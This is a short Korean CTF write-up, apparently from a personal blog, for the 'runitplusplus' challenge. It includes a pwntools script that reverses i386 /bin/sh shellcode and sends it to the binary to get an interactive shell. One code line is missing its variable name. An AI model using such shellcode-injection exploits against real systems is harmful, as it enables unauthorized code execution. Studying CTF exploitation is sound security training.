728x90

뭔가 입력 받고 이런식으로 연산을 한다. 느낌상 걍 뒤집는 느낌.

ABCDEFGH를 입력하고 디버깅 해봤는데

이런식으로 뒤집어서 보내면 끝.

 

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
 
= process("./runitplusplus")
elf = ELF("./runitplusplus")
 
 
pay = asm(shellcraft.i386.sh())[::-1]
s.sendafter("stuff!!",pay)
 
 
s.interactive()
cs

'PWN > CTF' 카테고리의 다른 글

[RCTF_2018] Rnote4  (0) 2019.11.29
[SCTF_2018] cowboy  (0) 2019.11.27
[RCTF_2018] stringer  (0) 2019.11.17
[Hack.lu_2014] oreo  (0) 2019.11.12
[SECCON_2018] kindvm  (0) 2019.11.11